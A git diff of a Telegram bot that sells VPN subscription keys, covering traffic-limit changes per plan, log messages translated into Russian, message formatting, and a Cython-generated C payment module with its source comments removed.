diff --git a/bot.py b/bot.py index f6d2f928..0ab0ea90 100644 --- a/bot.py +++ b/bot.py @@ -18,7 +18,7 @@ bot = Bot(token=API_TOKEN, default=DefaultBotProperties(parse_mode=ParseMode.HTM storage = MemoryStorage() dp = Dispatcher(bot=bot, storage=storage) -version = "4.0.0-Alpha(01-dev)" +version = "4.0.0-Alpha(06-dev)" register_middleware(dp) @@ -41,6 +41,7 @@ async def errors_handler( if ( "query is too old and response timeout expired or query ID is invalid" in error_message or "message can't be deleted for everyone" in error_message + or "message to delete not found" in error_message ): logger.warning("Отправляем стартовое меню.") diff --git a/handlers/admin/admin_servers.py b/handlers/admin/admin_servers.py index ac16235e..3a347c3f 100644 --- a/handlers/admin/admin_servers.py +++ b/handlers/admin/admin_servers.py @@ -414,22 +414,18 @@ async def handle_clusters_backup( ) return - servers = await get_servers(session) - cluster_servers = servers.get(cluster_name, []) - for key in keys_to_sync: - for _server in cluster_servers: - try: - await create_key_on_cluster( - cluster_name, - key["tg_id"], - key["client_id"], - key["email"], - key["expiry_time"], - ) - await asyncio.sleep(0.6) - except Exception as e: - logger.error(f"Ошибка при добавлении ключа {key['client_id']} в кластер {cluster_name}: {e}") + try: + await create_key_on_cluster( + cluster_name, + key["tg_id"], + key["client_id"], + key["email"], + key["expiry_time"], + ) + await asyncio.sleep(0.6) + except Exception as e: + logger.error(f"Ошибка при добавлении ключа {key['client_id']} в кластер {cluster_name}: {e}") await callback_query.message.answer( text=f"✅ Ключи успешно синхронизированы для кластера {cluster_name}", diff --git a/handlers/keys/key_management.py b/handlers/keys/key_management.py index 0fc9cb9e..9344f88f 100644 --- a/handlers/keys/key_management.py +++ b/handlers/keys/key_management.py @@ -146,7 +146,7 @@ async def select_tariff_plan(callback_query: CallbackQuery, session: Any): ) return expiry_time = datetime.now(moscow_tz) + timedelta(days=duration_days) - await create_key(tg_id, expiry_time, None, session, callback_query) + await create_key(tg_id, expiry_time, None, session, callback_query, None, plan_id) await update_balance(tg_id, -plan_price, session) @@ -157,6 +157,7 @@ async def create_key( session: Any, message_or_query: Message | CallbackQuery | None = None, old_key_name: str = None, + plan: int = None, ): """Создаёт ключ с заданным сроком действия.""" @@ -230,13 +231,7 @@ async def create_key( least_loaded_cluster = await get_least_loaded_cluster() tasks = [ asyncio.create_task( - create_key_on_cluster( - least_loaded_cluster, - tg_id, - client_id, - email, - expiry_timestamp, - ) + create_key_on_cluster(least_loaded_cluster, tg_id, client_id, email, expiry_timestamp, plan) ) ] await asyncio.gather(*tasks) diff --git a/handlers/keys/key_utils.py b/handlers/keys/key_utils.py index 8de0861b..46c984aa 100644 --- a/handlers/keys/key_utils.py +++ b/handlers/keys/key_utils.py @@ -10,7 +10,9 @@ from handlers.utils import get_least_loaded_cluster from logger import logger -async def create_key_on_cluster(cluster_id: str, tg_id: int, client_id: str, email: str, expiry_timestamp: int): +async def create_key_on_cluster( + cluster_id: str, tg_id: int, client_id: str, email: str, expiry_timestamp: int, plan: int = None +): """ Создает ключ на всех серверах указанного кластера. """ @@ -26,24 +28,12 @@ async def create_key_on_cluster(cluster_id: str, tg_id: int, client_id: str, ema if SUPERNODE: for server_info in cluster: await create_client_on_server( - server_info, - tg_id, - client_id, - email, - expiry_timestamp, - semaphore, + server_info, tg_id, client_id, email, expiry_timestamp, semaphore, plan=plan ) else: await asyncio.gather( *( - create_client_on_server( - server, - tg_id, - client_id, - email, - expiry_timestamp, - semaphore, - ) + create_client_on_server(server, tg_id, client_id, email, expiry_timestamp, semaphore, plan=plan) for server in cluster ) ) @@ -60,6 +50,7 @@ async def create_client_on_server( email: str, expiry_timestamp: int, semaphore: asyncio.Semaphore, + plan: int = None, ): """ Создает клиента на указанном сервере. @@ -85,6 +76,8 @@ async def create_client_on_server( unique_email = email sub_id = unique_email + total_gb_value = int(TOTAL_GB) if plan is None else int(plan) * int(TOTAL_GB) + await add_client( xui, ClientConfig( @@ -92,7 +85,7 @@ async def create_client_on_server( email=unique_email, tg_id=tg_id, limit_ip=LIMIT_IP, - total_gb=TOTAL_GB, + total_gb=total_gb_value, expiry_time=expiry_timestamp, enable=True, flow="xtls-rprx-vision", diff --git a/handlers/keys/keys.py b/handlers/keys/keys.py index f4f343e2..d46d26f2 100644 --- a/handlers/keys/keys.py +++ b/handlers/keys/keys.py @@ -97,29 +97,29 @@ def build_keys_response(records): Формирует сообщение и клавиатуру для устройств с указанием срока действия подписки. """ builder = InlineKeyboardBuilder() - moscow_tz = pytz.timezone("Europe/Moscow") if records: - response_message = "🔑 Список ваших подписок:\n\n" + response_message = "🔑 Список ваших подписок:\n\n
" for record in records: key_name = record["email"] expiry_time = record.get("expiry_time") if expiry_time: expiry_date_full = datetime.fromtimestamp(expiry_time / 1000, tz=moscow_tz) - formatted_date_full = expiry_date_full.strftime("до %d %B %Y года, %H:%M").lower() - - formatted_date_short = expiry_date_full.strftime("до %d %B").lower() + formatted_date_full = expiry_date_full.strftime("до %d.%m.%y, %H:%M") + formatted_date_short = expiry_date_full.strftime("до %d.%m.%y") else: formatted_date_full = "без срока действия" formatted_date_short = "без срока действия" - button_text = f"{key_name} ({formatted_date_short})" + button_text = f"🔑{key_name} ({formatted_date_short})" builder.row(InlineKeyboardButton(text=button_text, callback_data=f"view_key|{key_name}")) response_message += f"• {key_name} ({formatted_date_full})\n" + response_message += "
\n" + else: response_message = ( "🔑 У вас пока нет подписок.\n\nВы можете создать новую подписку для подключения устройств." @@ -463,70 +463,70 @@ async def process_callback_renew_plan(callback_query: CallbackQuery, session: An async def complete_key_renewal(tg_id, client_id, email, new_expiry_time, total_gb, cost, callback_query, plan): logger.info( - f"[RENEW] Starting complete_key_renewal with parameters: " + f"[RENEW] Начинаю процесс продления ключа с параметрами: " f"tg_id={tg_id}, client_id={client_id}, email={email}, " f"new_expiry_time={new_expiry_time}, total_gb={total_gb}, cost={cost}, " - f"callback_query={'present' if callback_query else 'None'}, plan={plan}" + f"callback_query={'есть' if callback_query else 'отсутствует'}, plan={plan}" ) response_message = SUCCESS_RENEWAL_MSG.format(months=plan) - logger.info(f"[RENEW] Constructed response message: {response_message}") + logger.info(f"[RENEW] Сформировано сообщение: {response_message}") builder = InlineKeyboardBuilder() builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) if callback_query: - logger.info("[RENEW] Sending response via callback_query.message.answer()") + logger.info("[RENEW] Отправка ответа через callback_query.message.answer()") await callback_query.message.answer(response_message, reply_markup=builder.as_markup()) else: - logger.info("[RENEW] Sending response via bot.send_message()") + logger.info("[RENEW] Отправка ответа через bot.send_message()") await bot.send_message(tg_id, response_message, reply_markup=builder.as_markup()) - logger.info("[RENEW] Connecting to database...") + logger.info("[RENEW] Подключение к базе данных...") conn = await asyncpg.connect(DATABASE_URL) - logger.info("[RENEW] Connected to database.") + logger.info("[RENEW] Подключение к базе данных установлено.") - logger.info(f"[RENEW] Retrieving key details for email: {email}") + logger.info(f"[RENEW] Получение данных о ключе для email: {email}") key_info = await get_key_details(email, conn) if not key_info: logger.error(f"[RENEW] Ключ с client_id {client_id} для пользователя {tg_id} не найден.") await conn.close() return - logger.info(f"[RENEW] Retrieved key_info: {key_info}") + logger.info(f"[RENEW] Данные о ключе получены: {key_info}") server_id = key_info["server_id"] - logger.info(f"[RENEW] Using server_id: {server_id}") + logger.info(f"[RENEW] Используется server_id: {server_id}") if USE_COUNTRY_SELECTION: - logger.info(f"[RENEW] USE_COUNTRY_SELECTION is enabled. Checking cluster info for server_id: {server_id}") + logger.info(f"[RENEW] USE_COUNTRY_SELECTION включён. Проверяю информацию о сервере {server_id}") cluster_info = await check_server_name_by_cluster(server_id, conn) if not cluster_info: logger.error(f"[RENEW] Сервер {server_id} не найден в таблице servers.") await conn.close() return cluster_id = cluster_info["cluster_name"] - logger.info(f"[RENEW] Retrieved cluster info: {cluster_info}. Using cluster_id: {cluster_id}") + logger.info(f"[RENEW] Информация о сервере получена: {cluster_info}. Использую cluster_id: {cluster_id}") else: cluster_id = server_id - logger.info(f"[RENEW] USE_COUNTRY_SELECTION is disabled. Using server_id as cluster_id: {cluster_id}") + logger.info(f"[RENEW] USE_COUNTRY_SELECTION выключен. Использую server_id в качестве cluster_id: {cluster_id}") logger.info(f"[RENEW] Запуск продления ключа для пользователя {tg_id} на {plan} мес. в кластере {cluster_id}.") async def renew_key_on_cluster(): logger.info( - f"[RENEW] Starting renew_key_on_cluster with parameters: " + f"[RENEW] Запуск renew_key_on_cluster с параметрами: " f"cluster_id={cluster_id}, email={email}, client_id={client_id}, " f"new_expiry_time={new_expiry_time}, total_gb={total_gb}" ) await renew_key_in_cluster(cluster_id, email, client_id, new_expiry_time, total_gb) - logger.info("[RENEW] renew_key_in_cluster completed. Now updating key expiry in DB.") + logger.info("[RENEW] Продление ключа на сервере завершено. Обновляю срок действия в базе данных.") await update_key_expiry(client_id, new_expiry_time, conn) - logger.info("[RENEW] Key expiry updated. Now updating balance.") + logger.info("[RENEW] Срок действия ключа обновлён. Обновляю баланс пользователя.") await update_balance(tg_id, -cost, conn) logger.info(f"[RENEW] Ключ {client_id} успешно продлён на {plan} мес. для пользователя {tg_id}.") - logger.info("[RENEW] Initiating key renewal process on cluster.") + logger.info("[RENEW] Инициализация процесса продления ключа в кластере.") await renew_key_on_cluster() - logger.info("[RENEW] Key renewal process completed. Closing database connection.") + logger.info("[RENEW] Процесс продления ключа завершён. Закрываю соединение с базой данных.") await conn.close() diff --git a/handlers/pay.py b/handlers/pay.py index 24dd97a1..44b487a9 100644 --- a/handlers/pay.py +++ b/handlers/pay.py @@ -61,9 +61,11 @@ async def handle_pay(callback_query: CallbackQuery): builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) await callback_query.message.answer( - "💸 Выберите удобный способ пополнения баланса:\n\n" + "💸 Выберите удобный способ пополнения баланса:\n" + "
" "• Быстро и безопасно\n" "• Поддержка разных платежных систем\n" - "• Моментальное зачисление средств 🚀", + "• Моментальное зачисление средств 🚀\n" + "
", reply_markup=builder.as_markup(), ) diff --git a/handlers/payments/cryprobot_pay.c b/handlers/payments/cryprobot_pay.c index f3cfee95..fb0a936a 100644 --- a/handlers/payments/cryprobot_pay.c +++ b/handlers/payments/cryprobot_pay.c @@ -7,6 +7,9 @@ "-O2", "-static-libgcc" ], + "extra_link_args": [ + "-s" + ], "name": "handlers.payments.cryprobot_pay", "sources": [ "handlers/payments/cryprobot_pay.py" @@ -1499,13 +1502,6 @@ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_proces struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; -/* "handlers/payments/cryprobot_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< - * async def process_callback_pay_cryptobot( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1519,13 +1515,6 @@ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process }; -/* "handlers/payments/cryprobot_pay.py":89 - * - * - * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection { PyObject_HEAD PyObject *__pyx_v_amount; @@ -1546,13 +1535,6 @@ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_proces }; -/* "handlers/payments/cryprobot_pay.py":136 - * - * - * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< - * try: - * if not check_hash(request): - */ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook { PyObject_HEAD PyObject *__pyx_v_data; @@ -1564,13 +1546,6 @@ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_crypto }; -/* "handlers/payments/cryprobot_pay.py":159 - * - * - * async def check_hash(request): # <<<<<<<<<<<<<< - * body_text = await request.text() - * crypto_pay_signature = request.headers.get( - */ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash { PyObject_HEAD PyObject *__pyx_v_body_text; @@ -1579,13 +1554,6 @@ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_ }; -/* "handlers/payments/cryprobot_pay.py":169 - * - * - * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< - * if payload["status"] == "paid": - * custom_payload = payload["payload"] - */ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment { PyObject_HEAD PyObject *__pyx_v_amount; @@ -1601,13 +1569,6 @@ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_proces }; -/* "handlers/payments/cryprobot_pay.py":186 - * - * - * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount { PyObject_HEAD PyObject *__pyx_v_builder; @@ -1616,13 +1577,6 @@ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_proces }; -/* "handlers/payments/cryprobot_pay.py":201 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input { PyObject_HEAD PyObject *__pyx_v_amount; @@ -3919,13 +3873,6 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/cryprobot_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< - * async def process_callback_pay_cryptobot( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot(PyObject *__pyx_self, @@ -4134,37 +4081,16 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 38, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":43 - * ): - * - * expected_hash = "CRYPTOSALE" # <<<<<<<<<<<<<< - * if PROJECTMANECONGIGURE != expected_hash: - * logger.error(" ! !") - */ __Pyx_INCREF(__pyx_n_u_CRYPTOSALE); __Pyx_GIVEREF(__pyx_n_u_CRYPTOSALE); __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_CRYPTOSALE; - /* "handlers/payments/cryprobot_pay.py":44 - * - * expected_hash = "CRYPTOSALE" - * if PROJECTMANECONGIGURE != expected_hash: # <<<<<<<<<<<<<< - * logger.error(" ! !") - * await callback_query.message.answer( - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PROJECTMANECONGIGURE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - /* "handlers/payments/cryprobot_pay.py":45 - * expected_hash = "CRYPTOSALE" - * if PROJECTMANECONGIGURE != expected_hash: - * logger.error(" ! !") # <<<<<<<<<<<<<< - * await callback_query.message.answer( - * text=" , @solonet_sup." - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 45, __pyx_L1_error) @@ -4194,37 +4120,16 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":46 - * if PROJECTMANECONGIGURE != expected_hash: - * logger.error(" ! !") - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" , @solonet_sup." - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":47 - * logger.error(" ! !") - * await callback_query.message.answer( - * text=" , @solonet_sup." # <<<<<<<<<<<<<< - * ) - * return - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 47, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":46 - * if PROJECTMANECONGIGURE != expected_hash: - * logger.error(" ! !") - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" , @solonet_sup." - * ) - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -4249,33 +4154,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } } - /* "handlers/payments/cryprobot_pay.py":49 - * text=" , @solonet_sup." - * ) - * return # <<<<<<<<<<<<<< - * - * builder = InlineKeyboardBuilder() - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/cryprobot_pay.py":44 - * - * expected_hash = "CRYPTOSALE" - * if PROJECTMANECONGIGURE != expected_hash: # <<<<<<<<<<<<<< - * logger.error(" ! !") - * await callback_query.message.answer( - */ } - /* "handlers/payments/cryprobot_pay.py":51 - * return - * - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; @@ -4304,13 +4188,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":52 - * - * builder = InlineKeyboardBuilder() - * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 52, __pyx_L1_error) @@ -4389,13 +4266,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":53 - * builder = InlineKeyboardBuilder() - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton( - */ __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 53, __pyx_L1_error) @@ -4411,33 +4281,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__pyx_t_2) { - /* "handlers/payments/cryprobot_pay.py":54 - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/cryprobot_pay.py":55 - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - /* "handlers/payments/cryprobot_pay.py":56 - * builder.row( - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - */ __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 56, __pyx_L1_error) @@ -4451,13 +4300,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/cryprobot_pay.py":57 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< - * ), - * InlineKeyboardButton( - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 57, __pyx_L1_error) @@ -4475,35 +4317,14 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/cryprobot_pay.py":55 - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - /* "handlers/payments/cryprobot_pay.py":59 - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - */ __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - /* "handlers/payments/cryprobot_pay.py":60 - * ), - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< - * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - * ), - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) @@ -4520,13 +4341,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/cryprobot_pay.py":61 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< - * ), - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 61, __pyx_L1_error) @@ -4547,13 +4361,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/cryprobot_pay.py":59 - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'crypto_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - */ __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -4584,44 +4391,16 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/cryprobot_pay.py":53 - * builder = InlineKeyboardBuilder() - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton( - */ goto __pyx_L8; } - /* "handlers/payments/cryprobot_pay.py":65 - * ) - * else: - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - */ /*else*/ { __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/cryprobot_pay.py":66 - * else: - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if 